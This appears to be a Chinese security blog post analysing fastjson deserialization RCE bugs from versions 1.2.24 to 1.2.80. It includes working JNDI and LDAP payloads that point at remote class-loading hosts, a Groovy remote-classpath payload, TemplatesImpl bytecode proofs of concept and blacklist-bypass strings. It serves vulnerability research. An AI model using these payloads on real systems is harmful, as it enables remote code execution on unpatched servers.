FastJson反序列化RCE分析
2025-01-21 10:53:33

前言

影响版本:fastjson <= 1.2.24
描述:fastjson 默认使用 @type 指定反序列化任意类,攻击者可以通过在 Java 常见环境中寻找能够构造恶意类的方法,通过反序列化的过程中调用的 getter/setter 方法,以及目标成员变量的注入来达到传参的目的,最终形成恶意调用链。此漏洞开启了 fastjson 反序列化漏洞的大门,为安全研究人员提供了新的思路。

fastjson <= 1.2.24 存在两条利用链:

(1) jdbcRowSetImpl - JNDI注入

(2) TemplatesImpl

fastjson 反序列化时的一些规则

这里列举一些 fastjson 反序列化时对函数方法名和参数的一些要求:

  • 使用 JSON.parse(jsonString)JSON.parseObject(jsonString, Target.class),两者调用链一致,前者会在 jsonString 中解析字符串获取 @type 指定的类,后者则会直接使用参数中的 class。
  • fastjson 在创建一个类实例时会通过反射调用类中符合条件的 getter/setter 方法,
    • 其中 getter 方法需满足条件:
      • 方法名长于 4
      • 不是静态方法
      • get 开头且第 4 位是大写字母
      • 方法不能有参数传入
      • 继承自 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong
      • 此属性没有 setter 方法;
    • setter 方法需满足条件:
      • 方法名长于 4
      • set 开头且第 4 位是大写字母
      • 非静态方法
      • 返回类型为 void 或当前类
      • 参数个数为 1 个。
        具体逻辑在 com.alibaba.fastjson.util.JavaBeanInfo.build() 中。

FastJson <= 1.2.24

jdbcRowSetImpl链

位置:com.sun.rowset.JdbcRowSetImpl#setAutoCommit

跟进 this.connect()方法:

image-20250113233126401

this.connect()方法中使用了 lookup()方法:

image-20250113233106135

dataSourceName值可控,存在JNDI注入:

image-20250113233054064

POC

1
2
3
4
5
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.43.95:8085/Command",
"autoCommit":true
}

image-20250113233038734

利用场景:

1
2
3
4
5
6
(1) 使用 parseObeject()方法时:
Object object = JSON.parseObject(user);
Object object = JSON.parseObject(user, Object.class);

(2) 使用 parse()方法时:
Object object = JSON.parse(user);

其中 user输入用户可控。

TemplatesImpl链(条件苛刻)

TemplatesImpl 起源 getter方法 getOutputProperties(),跟进 newTransformer():

image-20250112100733289

继续跟进 getTransletInstance():

image-20250112101715039

可以看到当 _class 的值为 null时会调用 defineTransletClasses(),跟进 defineTransletClasses():

image-20250112102115949

image-20250112102556264

1、想进入 try{}代码模块。_bytecodes字节码数组不可以为 null。

2、加载的类的父类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet_transletIndex默认值为 -1,若加载类父类不是 AbstractTranslet,就会报错。

符合条件的类加载完成后,在 getTransletInstance()中进行实例化,实例化时会执行 静态初始化块的代码,从而RCE。

POC(参考 Y4er师傅)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package com.xxxx.fastjson_demo.run;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.tomcat.util.codec.binary.Base64;

public class JDK7u21 {
// 参考https://y4er.com/post/ysoserial-commonscollections-2/
public static byte[] getevilbyte() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(test.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
cc.makeClassInitializer().insertBefore(cmd); //将恶意代码添加至静态代码块中
String randomClassName = "XxxX" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));

return cc.toBytecode();
}


//main函数调用以下poc而已
public static void main(String args[]) {
try {
byte[] evilCode = getevilbyte();
String evilCode_base64 = Base64.encodeBase64String(evilCode);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\"" + evilCode_base64 + "\"],'_name':'asd','_tfactory':{ },\"_outputProperties\":{ }," + "\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
System.out.println(text1);
ParserConfig config = new ParserConfig();
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);

} catch (Exception e) {
e.printStackTrace();
}
}

public static class test {

}
}

1.2.25 <= FastJson <= 1.2.41

使用 jdbc链时报错:autoType is not support. com.sun.rowset.jdbcRowSetImpl

image-20250112105301636

FastJson 在 1.2.25 ~ 1.2.41 版本中增加了 checkAutoType(),在获取 @type的值时对其进行检测:

image-20250112110032572

跟进 com.alibaba.fastjson.parser.ParserConfig#checkAutoType

autoTypeSupport 值默认为 false,使用黑白名单进行验证,若将 autoTypeSupport机制开启,即 autoTypeSupport = true,即可无需白名单检测通过,也可以加载类:

image-20250112111304931

但依然要绕过黑名单检测:

image-20250112111411301

可以使用 loadClass()的特殊字符去除机制进行绕过(逻辑漏洞):

image-20250112111720621

类名开头为[会在类加载时去除,以 L开头;结尾也会在类加载时去除。

POC

1、首先显示的开启 autoTypeSupport机制:

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

2、特殊字符绕过黑名单检测:

1
2
3
4
5
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"ldap://192.168.43.95:8085/Command",
"autoCommit":true
}

image-20250112113038170

注:黑名单绕过是基于ParserConfig.getGlobalInstance().setAutoTypeSupport(true);的基础之上的。

FastJson 1.2.42

1.2.42 版本中的黑名单采用了 hash值的形式。

并且对传入的类进行了特殊字符处理,对开头的 L 和结尾的 ; 进行了一次去除,并重新将删除后的结果赋值className。但 loadClass()进行的是递归处理,所以可以双写绕过:

image-20250112121613120

POC

1
2
3
4
5
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"ldap://192.168.43.95:8085/Command",
"autoCommit":true
}

FastJson 1.2.43

修复双写绕过,若出现两个 L字符开头则直接抛出异常:

image-20250112123349780

但是 [ 可以正常使用,使用 [绕过即可。

POC

1
2
3
4
5
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[,
{"dataSourceName":"ldap://192.168.43.95:8085/Command",
"autoCommit":true
}

FastJson 1.2.44

修复了 1.2.43中 [字符绕过的问题。

FastJson 1.2.45

黑名单绕过。

POC

1
2
3
4
5
6
7
8
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:23457/Command8"
}
}

//需要有第三方组件ibatis-core 3:0

FastJson 1.2.47 (重要)

POC

1
2
3
4
5
6
7
8
9
10
11
12
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Exploit",
"autoCommit": true
}
}

FastJson 1.2.47 是最为严重的一个漏洞。可以在不开启 autoTypeSupport的条件下实现RCE。

com.alibaba.fastjson.util.TypeUtils的静态代码块初始化调用 com.alibaba.fastjson.util.TypeUtils#addBaseClassMappings 将常用的类通过 loadClass()放到 mappings中:

image-20250112145116554

使用 POC进行调试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class Test {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String s = "{\n" +
" \"a\": {\n" +
" \"@type\": \"java.lang.Class\", \n" +
" \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n" +
" }, \n" +
" \"b\": {\n" +
" \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \n" +
" \"dataSourceName\": \"ldap://192.168.43.95:8085/attack\", \n" +
" \"autoCommit\": true\n" +
" }\n" +
"}\n";
Object o = JSON.parseObject(s, Object.class); //此处打断点
System.out.println(o);
}
}

继续跟进到 checkAutoType()中,代码使用 Mapping 和使用 deserializers.findClass() 查找 Java.lang.Class:

image-20250112150824237

找到后赋值给 clazz:

image-20250112150923936

clazz有值后,直接返回了,无需经过黑白名单检测:

image-20250112151129057

从 checkAutoType()出来后,跟进 deserialize():

image-20250112151512724

Parser.parse()获取到 objVal的值:

image-20250112151751164

进而赋值给 strVal:

image-20250112151819395

经过一系列 if判断,因为 clazz 为 java.lang.Class == Class.class,所以 strVal作为参数被 TypeUtils.loadClass()调用,跟进 TypeUtils.loadClass():

image-20250112152134181

继续跟进 loadClass(),可以看到 cache参数默认为 true:

image-20250112152638360

com.sun.rowset.JdbcRowSetImpl类加入到了 mapping中。这样在解析第二组键值对时,可以在 mapping中找到 JdbcRowSetImpl类从而直接 return class,无需黑白名单检测,实现RCE。

image-20250112153221243

image-20250112153304150

FastJson 1.2.48

针对 1.2.47进行了修复,将 cache的默认值从 true修改为了 false:

image-20250112154203318

FastJson 1.2.62

前提:autoTypeSupport 为 true

POC

1
2
3
4
{
"@type":"org.apache.xbean.propertyeditor.JndiConverter",
"AsText":"rmi://127.0.0.1:1099/exploit"
}

FastJson 1.2.66

前提:autoTypeSupport 为 true

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
"@type":"org.apache.shiro.jndi.JndiObjectFactory",
"resourceName":"ldap://192.168.80.1:1389/Calc"
}

{
"@type":"br.com.anteros.dbcp.AnterosDBCPConfig",
"metricRegistry":"ldap://192.168.80.1:1389/Calc"
}

{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup",
"jndiNames":"ldap://192.168.80.1:1389/Calc"
}

{
"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",
"properties":
{
"@type":"java.util.Properties",
"UserTransaction":"ldap://192.168.80.1:1389/Calc"
}
}

FastJson 1.2.68

FastJson 1.2.68版本引入了安全模式 safeMode,如果开启了安全模式,直接抛出异常,一劳永逸:

image-20250112165649606

这个版本有两个RCE: ThrowableDeserializer.deserialze()JavaBeanDeserializer.deserialze()

但是 ThrowableDeserializer.deserialze() 很鸡肋,因为很少有开发往异常类中去写命令执行。

POC1 (Throwable)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package com.xxxx.fastjson_demo.Exploit;

import java.io.IOException;

public class ExecException extends Exception {

private String command;

public ExecException() {
super();
System.out.println("构造函数");
}

public String getCommand() {
System.out.println("getCommand");
return command;
}

public void setCommand(String command) {
System.out.println("setCommand");
this.command = command;
}

@Override
public String getMessage() {
try {
Runtime.getRuntime().exec(command);
} catch (IOException e) {
return e.getMessage();
}

return super.getMessage();
}
}
1
2
3
4
5
{
"@type":"java.lang.Exception",
"@type": "com.xxxx.fastjson_demo.Exploit.ExecException",
"command": "open -a Calculator"
}

调试

获取 Java.lang.Exception的反序列化器时,跟进 getDeserializer()方法:

image-20250113090744803

因为 Throwable是 Exception类的父类,故使用 ThrowableDeserializer来获取反序列化器,而不是使用 createJavaBeanDeserializer():

image-20250113091122829

继续跟进 deserializer.deserialze():

image-20250113094529453

可以看到此时 checkAutoType()中的 exClassName值为 Throwable.class,跟进 checkAutoType():

image-20250113094937881

符合 expectClass.isAssignableFrom(clazz)的条件,return clazz,通过 checkAutoType检测,后续通过调用 getter,setter方法引发RCE。

POC2 (AutoCloseable)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package com.xxxx.fastjson_demo.Exploit;


import java.io.Closeable;
import java.io.IOException;

public class ExecCloseable implements Closeable {
private String command;

public ExecCloseable() {
}

public ExecCloseable(String command) {
this.command = command;
}

public String getCommand() {
try {
Runtime.getRuntime().exec(command);
} catch (IOException e) {
e.printStackTrace();
}
return command;
}

public void setCommand(String command) {
this.command = command;
}

@Override
public void close() throws IOException {
}
}
1
2
3
4
5
{
"@type":"java.lang.AutoCloseable",
"@type": "com.xxxx.fastjson_demo.Exploit.ExecCloseable",
"domain": "open -a Calculator"
}

过程同理,不过多赘述。

FastJson 1.2.80

回顾 FastJson 1.2.68版本的漏洞,利用 ThrowableDeserializer和 JavaBeanDeserializer在调用 checkAutoType时第二个参数 exceptClass期望类不为空实现RCE,但是哪个开发往异常类里写命令执行函数呢,所以这个版本漏洞的攻击面很小,所以官网并未对这个绕过进行修复,而是把几个可能被利用的类加入了黑名单,为 FastJson 1.2.80版本的RCE埋下伏笔。

参考 Y4er师傅的代码,构造一个 Json解释原理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//MyClass类
package com.xxxx.fastjson_demo.run;

import java.io.IOException;

public class MyClass {
public String command;

public void setCommand(String command) throws IOException {
System.out.println("MyClass.setCommand被调用");
Runtime runtime = Runtime.getRuntime();
runtime.exec(command);
}
}
1
2
3
4
5
6
7
8
9
10
//MyException类
package com.xxxx.fastjson_demo.run;

public class MyException extends Throwable {
private MyClass clazz;

public void setClazz(MyClass clazz) {
this.clazz = clazz;
}
}

Json_poc:

1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Exception",
"@type":"com.xxxx.fastjson_demo.run.MyException",
"clazz":{}
},
"b":{
"@type":"com.xxxx.fastjson_demo.run.MyClass","command":"open -a Calculator"
}
}

打断点调试,同 FastJson_1.2.68,使用反序列化器 ThrowableDeserializer,跟进 ThrowableDeserializer.deserialze():

image-20250113183610961

依旧同 FastJson_1.2.68,获取第二个 @type中的值 com.xxxx.fastjson_demo.run.MyException,并创建它的异常实例:

image-20250113183902429

image-20250113183935511

继续跟进,若还有剩余键值对未进行反序列化 (这里剩余 “clazz”:{}),会继续获取 exClass的反序列化器:

image-20250113184713311

继续跟进,如果 value不是 fieldInfo.fieldClass类型则会进入 TypeUtils.cast()中,这里 fieldInfo.fieldClass 是 com.xxxx.fastjson_demo.run.MyException,value = {}显然类型不同,跟进 TypeUtils.cast():

image-20250113185032749

继续跟进:

image-20250113185330154

经过一系列判断,因为 obj = value = {},{}表示空的 JSON对象,{} instancef Map是正确的,继续跟进 castToJavaBean():

image-20250113185856587

跟进 getDeserializer()方法:

继续跟进:

image-20250113190314011

最后调用 putDeserializer()方法,将 com.xxxx.fastjson_demo.run.MyClass类加入到 deserializer名单中

image-20250113190844221

这样就可以在反序列化 Json中的 “b”的内容时,通过 checkAutoType检测,实现RCE。

image-20250113191423118

POC

(1) Groovy: (参考 https://github.com/Lonely-night/fastjsonVul/tree/7f9d2d8ea1c27ae1f9c06076849ae76c25b6aff7)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"@type":"java.lang.Exception",
"@type":"org.codehaus.groovy.control.CompilationFailedException",
"unit":{}
}


{
"@type":"org.codehaus.groovy.control.ProcessingUnit",
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config":{
"@type":"org.codehaus.groovy.control.CompilerConfiguration",
"classpathList":"http://127.0.0.1:8090/"
}
}

修复:直接干掉了异常类

image-20250113231920232

参考文章:

(1) https://y4er.com/posts/fastjson-1.2.80/

(2) https://y4er.com/posts/fastjson-bypass-autotype-1268/

(3) https://y4er.com/posts/fastjson-learn/

(4) https://github.com/su18/hack-fastjson-1.2.80

(5) https://github.com/Lonely-night/fastjsonVul/tree/7f9d2d8ea1c27ae1f9c06076849ae76c25b6aff7

上一页
2025-01-21 10:53:33
下一页